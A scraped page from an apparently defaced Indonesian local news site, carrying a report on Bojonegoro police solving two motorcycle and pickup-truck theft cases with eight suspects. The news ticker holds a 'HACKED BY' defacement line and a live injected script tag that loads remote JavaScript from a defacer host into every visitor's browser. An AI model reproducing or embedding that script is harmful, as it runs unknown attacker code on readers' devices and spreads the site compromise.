News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Polres Bojonegoro Ungkap 2 Kasus Curanmor Dengan 8 Tersangka

Polres Bojonegoro Ungkap 2 Kasus Curanmor Dengan 8 Tersangka

Bojonegoro - Kapolres Bojonegoro AKBP M Budi Hendrawan SIK MH, dalam konferensi pers yang digelar Senin (18/05/2020) di Mapolres Bojonegoro menuturkan bahwa selama bulan April hingga Mei 2020, anggota jajarannya berhasil mengungkap 2 kasus curanmor, yakni pencurian kendaraan roda dua dan pencurian kendaraan roda empat yang disertai pencurian uang, dengan jumlah tersangka sebanyak 8 orang, namun satu orang tersangka telah meninggal dunia.
 
 
Kapolres Bojonegoro AKBP M Budi Hendrawan didampingi Kasat Reskrim, AKP Rifaldy, Kasubbag Humas AKP Ismawati, KBO Reskrim Iptu Eko Suwanto, menyampaikan bahwa untuk kasus curanmor roda dua, petugas berhasil menangkap 1 tersangka sebagai pelaku pencurian atau eksekutor, 2 tersangka sebagai perantara atau penjual hasil curian dan 1 tersangka sebagai pembeli hasil curian.
 
"Untuk kasus curanmor roda dua, tempat kejadian perkaranya di rumah kos di Kelurahan Mojokampung Kecamatan Bojonegoro Kota." kata AKBP M Budi Hendrawan.
 
Adapun keempat tersangka yaitu AS (31) warga Desa Mulyoagung Kecamatan Kota Kabupaten Bojonegoro sebagai pelaku pencurian atau eksekutor, WJ (23) warga Desa Kalirejo Kecamatan Kota Kabupaten Bojonegoro sebagai perantara menjualkan hasil curian, BI (21) warga Desa Kalirejo Kecamatan Kota Kabupaten Bojonegoro sebagai perantara menjualkan hasil curian, dan AB (26) warga Desa Ngarum Kecamatan Grabagan Kabupaten Tuban sebagai pembeli hasil curian.
 
"Untuk barang bukti sudah kita amankan 1 unit sepeda motor merk Honda Beat warna hitam dengan nopol S 2710 AG." kata Kapolres.
 
Kapolres menjelaskan bahwa untuk modus operandi para tersangka memiliki peran masing-masing, pelaku melakukan pencurian sepeda motor pada saat kunci kontak masih tertancap kemudian pelaku untuk meminta tolong pada 2 tersangka lainnya, untuk menjualkan sepeda motor tersebut kepada pembeli.
 
“Keempat tersangka sudah kita lakukan penahanan proses sidik. Kita sangka dengan pasal 363 ayat 1 Ke 3e KUHP, dengan ancaman hukuman tujuh tahun penjara,” kata AKBP M Budi Hendrawan.
 
 
Kapolres melanjutkan, bahwa untuk kasus yang kedua yaitu pencurian kendaraan bermotor roda empat yang disertai pencurian uang dengan TKP di toko bangunan yang beralamat di Kecamatan Baureno Kabupaten Bojonegoro.
 
Adapun modus operandi yang dilakukan para tersangka masuk ke dalam toko bangunan dengan cara merusak gembok pintu toko kemudian masuk ke dalam toko merusak laci mengambil uang tunai Rp 10 juta dan mengambil 1 unit mobil merk Mitsubishi L300 pikap.
 
Menurut Kapolres, dalam kasus ini melibatkan 4 tersangka dengan inisial TF (42) warga Desa Takeran Klating Kecamatan Tikung Kabupaten Lamongan, yang saat ini tersangka ditahan di Polres Lamongan, kemudaian RA (35)  warga Kedurus Surabaya (telah meninggal dunia), RE (39) warga Desa Kandangan Kecamatan Cerme Kabupaten Gresik, saat ini ditahan di Polres Lamongan, dan HL (47) warga Kelurahan Gunung Sekar Kecamatan Sampang Kabupaten Sampang, saat ini tersangka ditahan di Polres Bojonegoro.
 
"Adapun peran dari masing-masing tersangka yaitu: TF dan  RA sebagai pelaku pencurian atau eksekutor, RE sebagai menerima uang hasil penjual kendaraan hasil curian dan HL sebagai pembeli kendaraan atau penadah," kata Kapolres.
 
 
Kapolres menambahkan selain mengamankan seorang pelaku, saat ini pihaknya telah mengamankan barang bukti untuk barang bukti 1 unit mobil merk Mitsubishi pick up L300, nopol S 9574 AC beserta BPKB, 2 buah kunci gembok.
 
"Kasus ini hasil koordinasi Sat Reskrim Polres Bojonegoro dengan Sat Reskrim Polres Lamongan." kata Kapolres.
 
Sementara, untuk para tersangka disangka dengan pasala yang berbeda. Tersangka TF yang saat ini masih ditahan di Polres Lamongan disangka dengan pasal 363 ke 3e, 4e dan 5e KUHP dengan ancaman hukuman 7 tahun penjara, sedangkan tersangka RE dan HL dengan pasal 480 KUHP dengan ancaman hukuman 4 tahun penjara.
 
“Keberhasilan ungkap kasus ini semua berkat kinerja Sat Reskrim. Saya sangat mengapresiasi,” kata Kapolres. (red/imm)
 
Berita Terkait
1783880743.8741 at start, 1783880748.5914 at end, 4.7172420024872 sec elapsed